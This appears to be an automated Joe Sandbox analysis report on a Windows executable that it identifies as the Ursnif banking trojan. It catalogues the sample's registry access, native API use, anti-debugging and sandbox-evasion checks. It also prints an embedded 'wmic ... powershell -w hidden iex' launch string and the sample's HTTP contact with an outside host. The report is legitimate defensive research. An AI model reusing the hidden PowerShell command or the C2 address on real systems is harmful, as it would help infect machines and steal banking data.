Play interactive tour

Edit tour

Analysis Report zbetcheckin_tracker_propan.exe

Overview

General Information

Joe Sandbox Version:	23.0.0
Analysis ID:	48850
Start date:	03.10.2018
Start time:	11:14:04
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 3m 39s
Hypervisor based Inspection enabled:	true
Report type:	full
Sample file name:	zbetcheckin_tracker_propan.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 HVM (Office 2010, IE11, FF 50.1, Chrome 54.0, Java 1.8.0_111, Adobe Reader DC 2015.02)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.bank.evad.winEXE@4/6@1/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 49.9% (good quality ratio 45.9%) Quality average: 79.1% Quality standard deviation: 31.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 82 Number of non-executed functions: 77
Cookbook Comments:	Adjust boot time Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe Report size getting too big, too many NtDeviceIoControlFile calls found.

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	80	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Signature Overview

Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: zbetcheckin_tracker_propan.exe

virustotal: Detection: 44%

Perma Link

Antivirus detection for unpacked file

Show sources

Source: 1.2.zbetcheckin_tracker_propan.exe.2a0000.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.2.zbetcheckin_tracker_propan.exe.280000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Networking:

Creates a COM Internet Explorer object

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_CLASSES\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\TreatAs	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgID	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\Progid	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\ProgID	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler32	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_CURRENT_USER_Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0002DF01-0000-0000-C000-000000000046}\InprocHandler	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	COM instance created: 0002DF01-0000-0000-C000-000000000046	Jump to behavior

Downloads files

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FF8G8DG0

Jump to behavior

Downloads files from webservers via HTTP

Show sources

Source: global traffic

HTTP traffic detected: GET /wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQV3tEr4y9/hOi HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: doc.rendes.atConnection: Keep-Alive

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: doc.rendes.at

E-Banking Fraud:

Detected Ursnif banking trojan

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_00401C7A

1_2_00401C7A

System Summary:

Contains functionality to create processes via WMI

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.	1_2_002D42BD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.	1_2_002D42BD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.	1_2_002D42BD
Source: zbetcheckin_tracker_propan.exe	Binary or memory string: %systemroot%\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.

Starts Internet Explorer in hidden mode

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Window hidden: window name: IEFrame

Jump to behavior

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Memory allocated: 76BA0000 page execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Memory allocated: 76AA0000 page execute and read and write			Jump to behavior

Contains functionality to call native functions

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004022EC memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,	1_2_004022EC
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004018F0 NtMapViewOfSection,RtlNtStatusToDosError,	1_2_004018F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004012F6 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,GetModuleHandleA,memcpy,	1_2_004012F6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004027FD GetModuleHandleA,GetCursorPos,GetModuleHandleA,GetModuleHandleA,NtGetContextThread,NtGetContextThread,	1_2_004027FD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040192F NtCreateSection,memset,RtlNtStatusToDosError,ZwClose,	1_2_0040192F
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040143E memcpy,memcpy,memcpy,NtUnmapViewOfSection,RtlNtStatusToDosError,CloseHandle,memset,	1_2_0040143E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00402749 NtGetContextThread,RtlNtStatusToDosError,	1_2_00402749
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040276A NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError,	1_2_0040276A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040318D NtQueryVirtualMemory,	1_2_0040318D
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00402F20 NtGetContextThread,	1_2_00402F20
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004027AD NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,	1_2_004027AD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002D4615 NtOpenProcess,NtOpenProcessToken,memcpy,NtClose,NtClose,	1_2_002D4615
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002DE040 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,NtProtectVirtualMemory,	1_2_002DE040
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002DE297 NtMapViewOfSection,RtlNtStatusToDosError,	1_2_002DE297
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002DE2D6 NtCreateSection,RtlNtStatusToDosError,NtClose,	1_2_002DE2D6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_00401800 NtMapViewOfSection,	1_1_00401800

Detected potential crypto function

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00402F6C	1_2_00402F6C
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002D92AC	1_2_002D92AC
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002D2BC6	1_2_002D2BC6
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00414449	1_2_00414449
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_004160BE	1_2_004160BE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00413F07	1_2_00413F07
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040E71E	1_2_0040E71E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0041498B	1_2_0041498B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_00414449	1_1_00414449
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_00404A60	1_1_00404A60
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0040D4F0	1_1_0040D4F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_004160BE	1_1_004160BE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_00413F07	1_1_00413F07
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0040E71E	1_1_0040E71E
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0041498B	1_1_0041498B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_004151B9	1_1_004151B9

Found potential URLs in runtime VBA strings

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	VBA Memory String: http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IE11SS&market={language}	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	VBA Memory String: http://doc.rendes.at/wpapi/XlhPkWURsPeX9n/KdgCvOhJyTpK7WR6Gbx1E/EGIHNIQTXREQOMps/rPc05MTJOZBIhXE/5m9k63AYGwTnA9kVzH/_2BvJ_2Bu/qT25s_2Bd32_2FwmnoO7/VJJFaK5GX9ndvILO9eE/_2BmLslnLM1_2Bzpzpe8w6/7wEfNRxzT1pne/O97RG4NY/OoJbmGnwE2owDOmHjuVKPJu/as3X3i37Pg/GbArsAQ	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	VBA Memory String: http://www.bing.com/favicon.ico	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	VBA Memory String: http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	VBA Memory String: http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE11SR	Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exe	VBA Memory String: http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IE11TR	Jump to behavior

PE file contains strange resources

Show sources

Source: zbetcheckin_tracker_propan.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: zbetcheckin_tracker_propan.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Classification label

Show sources

Source: classification engine

Classification label: mal80.bank.evad.winEXE@4/6@1/2

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_002D5457 CoCreateInstance,

1_2_002D5457

Creates files inside the user directory

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{F5B32550-C6EC-11E8-A1F8-44AC2DAE138A}.dat

Jump to behavior

Creates temporary files

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

File created: C:\Users\user~1\AppData\Local\Temp\~DFB2457FAD379B77E9.TMP

Jump to behavior

PE file has an executable .text section and no other executable section

Show sources

Source: zbetcheckin_tracker_propan.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads ini files

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Show sources

Source: zbetcheckin_tracker_propan.exe

virustotal: Detection: 44%

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe 'C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe'
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2
Source: C:\Program Files\Internet Explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2	Jump to behavior

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_1_00412282 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_1_00412282

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00402F5B push ecx; ret	1_2_00402F6B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00407210 push ebp; ret	1_2_00407222
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002D929B push ecx; ret	1_2_002D92AB
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0040D4D1 push ecx; ret	1_1_0040D4E4

Hooking and other Techniques for Hiding and Protection:

Writes registry values via WMI

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetDWORDValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetBinaryValue
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	WMI Registry write: IWbemServices::ExecMethod - StdRegProv::SetStringValue

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Evasive API call chain: GetLocaleInfo, StrStr, ExitProcess

graph_1-7457

Tries to detect sandboxes / dynamic malware analysis system (cursor check)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_004010ED

1_2_004010ED

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 1376	Thread sleep count: 117 > 30	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 1376	Thread sleep time: -7020000s >= -60000s	Jump to behavior
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe TID: 2096	Thread sleep time: -60000s >= -60000s	Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Last function: Thread delayed

Program exit points

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

API call chain: ExitProcess graph end node

graph_1-7347

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_004012F6 LdrLoadDll,LdrGetProcedureAddress,NtProtectVirtualMemory,GetModuleHandleA,memcpy,

1_2_004012F6

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_0040FE9A

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_1_00412282 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_1_00412282

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0025052B mov ebx, dword ptr fs:[00000030h]	1_2_0025052B
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00250000 mov eax, dword ptr fs:[00000030h]	1_2_00250000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00250000 mov ebx, dword ptr fs:[00000030h]	1_2_00250000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002506F5 mov eax, dword ptr fs:[00000030h]	1_2_002506F5
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_002506F5 mov ecx, dword ptr fs:[00000030h]	1_2_002506F5
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00250AFD mov eax, dword ptr fs:[00000030h]	1_2_00250AFD
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00290000 mov eax, dword ptr fs:[00000030h]	1_2_00290000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00290000 mov ecx, dword ptr fs:[00000030h]	1_2_00290000
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00290408 mov eax, dword ptr fs:[00000030h]	1_2_00290408

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_1_0040C832 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetCommandLineA,

1_1_0040C832

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0040FE9A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_2_00413BEE SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	1_2_00413BEE
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0040CA26 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_1_0040CA26
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_0040FE9A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_1_0040FE9A
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: 1_1_00413BEE SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,	1_1_00413BEE

HIPS / PFW / Operating System Protection Evasion:

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmp	Binary or memory string: Program Manager
Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmp	Binary or memory string: Shell_TrayWnd
Source: zbetcheckin_tracker_propan.exe, 00000001.00000002.3011712104.0000000000880000.00000002.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,	1_2_0040270C
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: GetLocaleInfoA,	1_2_004134B0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: GetLocaleInfoA,GetModuleHandleA,GetModuleHandleA,	1_1_004026F0
Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe	Code function: GetLocaleInfoA,	1_1_004134B0

Contains functionality to query CPU information (cpuid)

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_002D46DF cpuid

1_2_002D46DF

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_002D1C3C GetSystemTimeAsFileTime,HeapFree,

1_2_002D1C3C

Contains functionality to query the account / user name

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_002D46DF GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

1_2_002D46DF

Contains functionality to query windows version

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Code function: 1_2_00401B9B CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

1_2_00401B9B

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious

Simulations

Behavior and APIs

Time	Type	Description
11:16:06	API Interceptor	149x Sleep call for process: zbetcheckin_tracker_propan.exe modified

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zbetcheckin_tracker_propan.exe	44%	virustotal		Browse
zbetcheckin_tracker_propan.exe	11%	metadefender		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link
1.2.zbetcheckin_tracker_propan.exe.2a0000.1.unpack	100%	Avira	TR/Patched.Ren.Gen
1.2.zbetcheckin_tracker_propan.exe.280000.0.unpack	100%	Avira	TR/Patched.Ren.Gen

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

System is w7x64_hvm

zbetcheckin_tracker_propan.exe (PID: 2384 cmdline: 'C:\Users\user\Desktop\zbetcheckin_tracker_propan.exe' MD5: 7E17F0F35D50F49407841372F24FBD38)

iexplore.exe (PID: 2296 cmdline: 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding MD5: 446332D1A5576870E436B13AEB27CA8E)

iexplore.exe (PID: 2776 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2296 CREDAT:275457 /prefetch:2 MD5: F2831268EC600225F611DC02166EACF0)

cleanup

Created / dropped Files

C:\Users\user~1\AppData\Local\Temp\~DF3B5F1BE92103196B.TMP
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	FoxPro FPT, blocks size 258, next free block index 16711424
Size (bytes):	25657
Entropy (8bit):	2.176978949251122
Encrypted:	false
MD5:	55485BE3EF18BA5AD6355F9FBE25F3CC
SHA1:	ABFF4536A8CA1C8C3066997982F831EF6C581715
SHA-256:	983908AB258F0BA6C99BAF97CF34434D7704BB32E8824690C998A681E9EB2D78
SHA-512:	9A9DBE0C22478908E5A6E1D230BF577625A6CC99D0F3CDC6135488D5CD8287C0910331BAC430AA30A1C2A62BE47D7B28396EE3F137AC0CC46214826342927BDC
Malicious:	false
Reputation:	low

C:\Users\user~1\AppData\Local\Temp\~DFB2457FAD379B77E9.TMP
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	FoxPro FPT, blocks size 258, next free block index 16711424
Size (bytes):	12917
Entropy (8bit):	1.26396999706028
Encrypted:	false
MD5:	8A18599411937FBE9F25B7F5365779FE
SHA1:	4356788CAEB2FCB84DE904A7B168D7F696E45E17
SHA-256:	1F5940FFAD29BFDBFDD1726D070CAE1F6D8A5678EA0265E793DD5106B80F9F99
